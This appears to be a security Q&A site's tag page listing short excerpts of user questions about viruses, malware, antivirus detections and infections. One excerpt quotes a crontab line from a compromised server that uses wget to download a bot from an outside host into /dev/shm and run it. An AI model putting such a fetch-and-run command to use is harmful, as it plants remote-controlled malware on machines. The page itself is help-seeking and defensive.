A computer virus is a program or piece of code that tends to be malicious and is loaded onto your computer without your knowledge and runs against your wishes.

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Is it safe to store a file in a temporary folder before it has been scanned for a virus?

I'm working on an application that makes use of the Symantec Protection Engine to scan uploaded files. I'm having issues with my files after they have been scanned. One possible solution I've seen ...
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Has this method ever been used by viruses to check if system has already been infected?

I know the era of the self spreading worm is over, but has this mechanism for determining if a machine has already been infected or not ever been used? When a virus runs it checks to see if the ...
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Security of root terminal (su -) when logged into X

I often log into X as normal user (of course), open terminal and switch to root: su - I have then a terminal owned by user but effectively with root privileges. Are there any security issues in ...
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Should text files or image files be virus scanned during upload?

I have created an online web app for my company. It's being tested for security files. The tester loaded the EICAR text file. The virus scanner on the server caught and removed the file. I have only ...
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Writing keylogger and viruses in python [closed]

So recently I have been working on some projects one of them is keylogger and the second is SYNflood (both in python). I want to know if ,is it a good practice to use python language for such purposes?...
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Detected virus in pdf - should I be worried (CVE-2014-8449)?

I downloaded a pdf earlier, and I was trying to send it to my friend, but gmail said that it detected a virus. So I ran it through virustotal.com and only 1 out of 56 scanners came up with a virus - ...
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ClamAV detected CVE-2014-8449 in some PDFs. How do I know if it's a real problem?

We run clamav on all our user-uploaded files. It's currently giving this message for several PDFs: <filename...>: Pdf.Exploit.CVE_2014_8449 FOUND Looking at the CVE, it's for a integer ...
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Can my phone be affected by malware through mobile phone signal?

My phone is newly bought. Can a hacker actually scan the mobile phone signal around me, detect it, and put virus/malware into my phone THROUGH the mobile phone signal of my mobile service provider? ...
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Can folders [alone] have viruses?

I know that files can be infected, but can a Folder itself have a virus/trojan?
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How antivirus companies create virus defnitions for new outbreaks

This question quite amazes me. I dont understand how antivirus companies get info about the latest viruses. have they installed some kind of filters to monitor the internet traffic ? Or they are ...
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Should I get an antivirus for my Mac?

There are some people saying that people should use an antivirus software on Mac. And there are thousands of people claiming that Macs don't get viruses (under this term I mean spyware / malware as ...
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Trojan name I can't find any information about

I decided to take an online virus scan using ESET online scanner, after getting some weird crash that made my drivers and other parts of the operating system unusable... The preliminary results say "...
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Any “cleaned” virus that's been successfully re-released?

Anti-malware software has to keep track of all bad software there is. To ease this load, it seems like a good idea to stop looking for threats that's been dead for years. Is there any example of some ...
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Clicked link on fake email which appeared to be from friend [duplicate]

I receieved an e-mail which at first glance appeared to be from a friend, I clicked on the link provided without thinking as we would often exchance links to sites. The link went nowhere i.e page not ...
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Lifecycles of a computer virus

According to what I read there are four phases: - Dormant phase - Propagation phase - Triggering phase - Execution phase I however am having trouble finding a chronological order in how these events ...
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Based on these email headers, where is this virus coming from?

I'm seeing a virus in our network with some strange headers. Sometimes they are coming (sourced) from a netscaler VIP, other times they seem to come from an Exchange hub server. How do I determine ...
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Viruses From Email Attachments

My company just got a worm. The specific one is beside the point, but I linked a couple pages that I think describe the worm / virus below. We're getting lots of emails to Outlook asking us to open ...
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“Threat: WMA:Wimad [Susp]” on .avi file, possible to remove threat and keep file?

I ran a full system scan this morning with all of my virus/malware programs and Avast detected 1 virus in an .avi file (which thankfully I have not yet watched): Severity: Medium Threat: WMA: Wimad [...
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How can I watch porn, safely, and not get a virus? (and not infect corporate data also)

I'm part of a small office in the middle of nowhere, and we just got absorbed into a large mega corporation. Sometimes we watch porn, at the office, on company computers, using the company Internet....
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Trojan/Worm Cridex Issue

Currently we are receiving a surge in machines that are being attacked with Cridex. We received several spam/infected emails that have used macros to we think deploy a backdoor trojan that is ...
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Why did Apple think OS/X was virus proof?

In such articles as this one at Examiner.com, we see that Apple had long "advertised" the immunity of its desktop OS to viruses. It had to dilute that assertion when the Flashback virus appeared. ...
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Is SecureShellz bot a virus? How does it work?

I'm using a development server in which I found this in the crontab: [...] * * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1 @weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/....
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Strange android app … possibly a mass malware?

I started receiving on my android Samsung Galaxy note strange notifications in Mandarin (the language of the people of china). Once I click on the notification it opens my browser with a blank page ...
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How can a malicious URL affect a computer?

Many security experts advise not to click on malicious URLs. How can clicking a URL affect a computer's security? If a malicious file was downloaded and executed, then a computer's security may be ...
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What are these URLs in my browsers?

I was testing my Node.JS application. When I opened my app using Chrome and Mozilla, I saw these JS files included in every page I browse. They appear in all browsers I use (Firefox, Chrome). <...
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What happened with badBios [duplicate]

Maybe some of you remember that in November 2013 the respected researcher Dragos Ruiu claimed that he was infected by some super advanced virus that no one ever heard of before. Experts agreed that ...
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Help understanding malware infection

I'm kind of a newbie to security and need help fully understanding how I would infect myself inadvertently. Let's say I was to download a .zip file attached to an email and I unzipped the contents. ...
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Malware stole an executable file on my computer? Seems unlikely

If you don't want to read all of the details, skip to the bottom; I'll make a summary. I created a computer program as a proof of concept (I threw it together in 12 hours, so I wrote it in Visual ...
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Why do malware creators use such clever technologies for such silly purposes?

Some days ago I got infected by a malware, probably something new and very clever, as it went in unstopped and no scanning tool was able to detect it afterwards (see this question). It was a two-...
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My computer hacked? tcpdump show a connection to an ALLOCATED UNSPECIFIED ip address

13:06:05.345111 IP 192.168.1.101.36218 > 157.55.130.174.40033: Flags [.], ack 162, win 237, options [nop,nop,TS val 688796 ecr 596714815], length 0 This IP address is Allocated Unspecified on ...
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jRAT virus on Linux

I dumbly downloaded a .jar file that contained jRAT. When run, it stalls, gives a FileNotFoundException, then crashes. When I ls'd, the jar was there. When I cd'd out and back in, the jar was gone. I'...
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Can my Mac be affected without running the malware?

Can my Mac be affected by malware without running it? For instance, if I download a random file, but don't open it, can it infect my computer?
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Possible trojan/virus in memory?

I've extracted objects (JPEGs) from processes` memory dumps (obtained with memdump command from volatility framework) and got strange results after searching the memory pages of the main thread of ...
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How can I recover files encrypted by Android ransomware?

My Samsung Galaxy Note II was infected by a virus called the "FBI virus." Fortunately, I've managed to remove the malware but my problem now is that all my files have been encrypted. How can I ...
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Can an compressed virus still do any harm to an OS [closed]

Let's say you have a piece of malware either as a standalone binary or hidden within a crafted image (two distinct cases). If I compress the standalone binary, can its mere presence as a compressed ...
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Statistics about malware targeting different OS

Are there any reports or statistics that describe the numbers or types of malware attacks on different operating systems, such as Linux, Unix, Windows, MacOS?
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Am I safe to see a thumbnail of a downloaded images on Ubuntu 14.04?

I have downloaded an image that someone has uploaded to my website with a public upload form. My intention was to copy the file in a virtual machine and see the image from there; unfortunately, on ...
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Removing malware which is creating temp file and modifying network traffic [duplicate]

I am on OSX 10.9.2, please note I have included several URLs in my post, this is not spam this is due to the nature of the malware. I have just discovered I have malware on my computer after noticing ...
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Extremely suspicious UDP network traffic when idle [closed]

My computer has been using about 7Mbps when idle, it does the same thing even I am playing games and such. This is the Wireshark capture https://www.dropbox.com/s/2khw04atdxlflh3/wireshark2.pcapng?dl=...
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How a trojan allows attacker to connect to remote computer behind a router

According to this article on Wikipedia, a trojan horse can allow a remote connection by opening a random port if it is able to bypass the firewall. I'm not much of an expert of routers and Network ...
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How to execute an exploit without user interaction?

Is there an existing exploit, virus or malware that doesn't need any user interaction? In metasploit for example. No link to clicked, no pdf to open , no vba or exe to execute by the victim.
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How to get rid of an Ad bot?

The issue started due to setting up a proxy server on a PC connected to my network. I then realized that all of my devices that connected to the network, including PCs and phones, are all infected by ...
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Suspicious 2 page, no image Word Docx has 1.7 MB

Can a word document contain virus or harm you in any way? Someone sent me a word docx that has only 2 pages, no image but it's 1.7 MB big. If I use save as to save it with a different name but still ...
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What is the difference between a virus and a worm ? [duplicate]

The only thing I know is that virus can get into the other programs and infect it whereas worms cannot attach itself to another program.
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Is there any decompiled source code for the “Flame”/“Skywiper” malware?

When searching for the source for Stuxnet, its relatively easy to come by in one form or another. Although I'm actually curious if anyone has done any work to comment the source and perhaps clean up ...
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Why an infected VM does not affect the host machine? [duplicate]

I installed a Windows XP virtual machine on VirtualBox. The host machine is also a Windows XP. I run 5 viruses on the guest machine, however this does not seem to infect my host machine. Could someone ...
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Is there any virus that can cause physical damage [duplicate]

Like damaging a chip on the motherboard, increase the fan's speed till something explodes or anything similar to that. I am not an IT guru but I never came across a malicious code that couldn't be ...
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How do I ensure that my computer is 100% worm-free?

Ok say I have a brand new laptop that was is brand new. Is it true to say that as long as I keep the bluetooth turned off, and I am not connected to the internet, and only copy files that are 100% ...
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Does the EICAR test work on Linux based antivirus scanners?

Does the EICAR antivirus test work on antivirus scanners for Linux? The EICAR test is described in more detail here: http://en.wikipedia.org/wiki/EICAR_test_file The reason I ask is that it requests ...